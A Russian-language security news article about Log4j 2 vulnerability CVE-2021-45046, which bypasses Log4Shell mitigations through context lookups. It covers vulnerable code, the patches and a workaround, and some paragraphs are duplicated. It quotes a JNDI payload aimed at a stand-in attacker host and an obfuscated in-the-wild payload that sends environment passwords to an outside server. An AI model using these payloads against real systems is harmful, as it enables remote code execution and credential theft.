В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления и независимо от использования настройки "log4j2.noFormatMsgLookup" для защиты. Проблема представляет опасность в основном для старых версий Log4j 2, защищённых при помощи флага "noFormatMsgLookup", так как даёт возможность обойти защиту от прошлой узявимости (Log4Shell, CVE-2021-44228), позволяющей выполнить свой код на сервере. Для пользователей версии 2.15 эксплуатация ограничивается созданием условий для аварийного завершения приложения из-за исчерпания доступных ресурсов.
Уязвимость проявляется только на системах, в которых при журналировании используются контекстные запросы (Context Lookup), такие как ${ctx:loginId}, или MDC-шаблоны (Thread Context Map), например, %X, %mdc и %MDC. Эксплуатация сводится к созданию условий для вывода в лог данных, содержащих подстановки JNDI, при использовании в приложении контекстных запросов или MDC-шаблонов, определяющих правила форматирования вывода в лог.
Исследователи из компании LunaSec отметили, что для версий Log4j меньше 2.15 данная уязвимость может использоваться как новый вектор для атаки Log4Shell, приводящей к выполнению кода, если при выводе в лог используются выражения ThreadContext, в которые попадают внешние данные, независимо от включения для защиты флага "noMsgFormatLookups" или шаблона "%m{nolookups}".
Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion. Пример уязвимого кода:
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
// Значение HTTP-заголовка "X-Api-Version" передаётся в ThreadContext
ThreadContext.put("apiversion", apiVersion);
// При выводе в лог внешнее значение apiversion будет обработано при помощи подстановки ${ctx:apiversion}
logger.info("Received a request for API version");
return "Hello, world!";
}
В версии Log4j 2.15 уязвимость может использоваться для совершения DoS-атак при передаче в ThreadContext значений, приводящих к зацикливанию обработки шаблона форматирования вывода.
блокирования уязвимости опубликованы обновления 2.16 и 2.12.2. В ветке Log4j 2.16, помимо реализованных в версии 2.15 исправлений и привязки JNDI LDAP-запросов к "localhost", по умолчанию полностью отключена функциональность JNDI и удалена поддержка шаблонов подстановки сообщений. В качестве обходного пути защиты предложено удалить класс JndiLookup из classpath (например, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Проследить за появлением исправлений в пакетах можно на страницах дистрибутивов (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителей затронутых уязвимостью Java-приложений (GitHub, Docker, Oracle, VMware, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens, Rockwell и т.д.).
Дополнения:
Уязвимость проявляется только на системах, в которых при журналировании используются контекстные запросы (Context Lookup), такие как ${ctx:loginId}, или MDC-шаблоны (Thread Context Map), например, %X, %mdc и %MDC. Эксплуатация сводится к созданию условий для вывода в лог данных, содержащих подстановки JNDI, при использовании в приложении контекстных запросов или MDC-шаблонов, определяющих правила форматирования вывода в лог.
Исследователи из компании LunaSec отметили, что для версий Log4j меньше 2.15 данная уязвимость может использоваться как новый вектор для атаки Log4Shell, приводящей к выполнению кода, если при выводе в лог используются выражения ThreadContext, в которые попадают внешние данные, независимо от включения для защиты флага "noMsgFormatLookups" или шаблона "%m{nolookups}".
Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion. Пример уязвимого кода:
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
// Значение HTTP-заголовка "X-Api-Version" передаётся в ThreadContext
ThreadContext.put("apiversion", apiVersion);
// При выводе в лог внешнее значение apiversion будет обработано при помощи подстановки ${ctx:apiversion}
logger.info("Received a request for API version");
return "Hello, world!";
}
В версии Log4j 2.15 уязвимость может использоваться для совершения DoS-атак при передаче в ThreadContext значений, приводящих к зацикливанию обработки шаблона форматирования вывода.
блокирования уязвимости опубликованы обновления 2.16 и 2.12.2. В ветке Log4j 2.16, помимо реализованных в версии 2.15 исправлений и привязки JNDI LDAP-запросов к "localhost", по умолчанию полностью отключена функциональность JNDI и удалена поддержка шаблонов подстановки сообщений. В качестве обходного пути защиты предложено удалить класс JndiLookup из classpath (например, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Проследить за появлением исправлений в пакетах можно на страницах дистрибутивов (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителей затронутых уязвимостью Java-приложений (GitHub, Docker, Oracle, VMware, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens, Rockwell и т.д.).
Дополнения:
- Для Nginx на базе модуля njs подготовлен скрипт, блокирующий передачу JNDI-выражений в HTTP-заголовках, URI и теле POST-запросов. Скрипт можно использовать на фронтэнд-серверах для защиты бэкендов.
- Помимо ранее выявленных атак, нацеленных на формирование ботнета для майнинга криптовалюты, зафиксированы факты эксплуатации уязвимости в Log4j 2 для распространения вредоносных шифровальщиков, шифрующих содержимое дисков и требующих выкуп за расшифровку.
- Компания Checkpoint выявила около 60 разных вариантов эксплоитов, используемых для атак.
- Компания CoudFlare сообщила, что попытки тестирования проявления уязвимости в Log4j выявлены 1 декабря, т.е. за 8 дней до публичного раскрытия сведений о проблеме. Первые попытки эксплуатации уязвимости зафиксированы всего через 9 минут после раскрытия информации. В отчёте CoudFlare также упоминается использование подстановок, подобных "${env:FOO:-j}ndi:${lower:L}da${lower}", для обхода блокировок по маске "jndi:ldap", а также применение атакующими выражения ${env} для передачи на внешний сервер сведений о паролях и ключах доступа, хранимых в переменных окружения, и выражения ${sys} для сбора информации о системе.
${${env:FOO:-j}ndi:${lower:L}da${lower}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${envASSWORD}.${env:MYSQL_PASSWORD}.${envOSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
- Opennet